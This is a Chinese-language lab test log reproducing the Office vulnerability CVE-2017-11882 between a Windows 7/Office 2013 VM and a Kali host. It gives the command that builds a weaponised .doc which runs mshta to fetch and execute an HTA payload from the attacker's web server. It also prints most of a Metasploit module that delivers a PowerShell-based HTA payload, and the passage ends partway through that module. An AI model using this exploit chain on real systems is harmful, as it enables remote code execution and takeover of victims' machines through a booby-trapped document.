Office隱藏17年的漏洞CVE_2017_11882測試記錄

創建時間：	2017/11/25 0:18
作者：	CN_Simo
標簽：	Office漏洞

參考文章1：https://www.cnblogs.com/Oran9e/p/7880832.html

參考文章2：https://www.cnblogs.com/i-honey/p/7885573.html

POC地址：https://github.com/Ridter/CVE-2017-11882/

中間環節出現，msf連接數據庫失敗的情況，解決方法： https://www.cnblogs.com/justforfun12/p/5205804.html

1.制造條件

這里搭建兩台虛擬機進行測試！

測試機配置信息：

操作系統	Win7_x64 企業版
Office版本	Office 2013
防火牆狀態	開啟
IP	192.168.1.103
系統語言	Chinese

操作系統	Kali 2.1 中文
IP	192.168.1.104

首先在kali下安裝nginx，或者tomcat應該也是可以的，首先將生成的doc文件放在/usr/share/nginx/html目錄下，方便被攻擊的機器獲取doc文件。

啟動nginx服務：systemctl start nginx

使用 Command43b_CVE-2017-11882.py生成doc文件

 
           python Command43b_CVE-2017-11882.py -c "mshta 
           http://192.168.1.104:8080/abc" 
           ;; -o cev2.doc 
          

# 將下載好的漏洞模塊放在msf任意目錄下

 
           root@kali:/# mv cve_2017_11882.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/ 
          

cve_2017_11882.rb的內容如下：

 
           ## 
          
           # This module requires Metasploit: 
           https://metasploit.com/download 
          
           # Current source: 
           https://github.com/rapid7/metasploit-framework 
          
           ## 
          
           class MetasploitModule  < Msf::Exploit::Remote 
          
             Rank = NormalRanking 
          
             include Msf::Exploit::Remote::HttpServer 
          
             def initialize(info  = {}) 
          
               super(update_info(info, 
          
                 'Name' => 'Microsoft Office Payload Delivery', 
          
                 'Description' => %q{ 
          
                   This module generates an command to place within 
          
                   a word document, that when executed, will retrieve a HTA payload 
          
                   via HTTP from an web server. Currently have not figured out how 
          
                   to generate a doc. 
          
                 }, 
          
                 'License' => MSF_LICENSE, 
          
                 'Arch' => ARCH_X86, 
          
                 'Platform' => 'win', 
          
                 'Targets' => 
          
                   [ 
          
                     ['Automatic', {} ], 
          
                   ], 
          
                 'DefaultTarget' => 0, 
          
               )) 
          
             end 
          
             def on_request_uri(cli, _request) 
          
               print_status("Delivering payload") 
          
               p = regenerate_payload(cli) 
          
               data = Msf::Util::EXE.to_executable_fmt( 
          
                 framework, 
          
                 ARCH_X86, 
          
                 'win', 
          
                 p.encoded, 
          
                 'hta-psh', 
          
                 { :arch => ARCH_X86, :platform => 'win '} 
          
               ) 
          
               send_response(cli, data, 'Content-Type' => 'application/hta') 
          
             end 
          
             def primer 
          
               url = get_uri 
          
               print_status("Place the following DDE in an MS document:") 
          
               print_line("mshta.exe \"#{url}\"") 
          
             end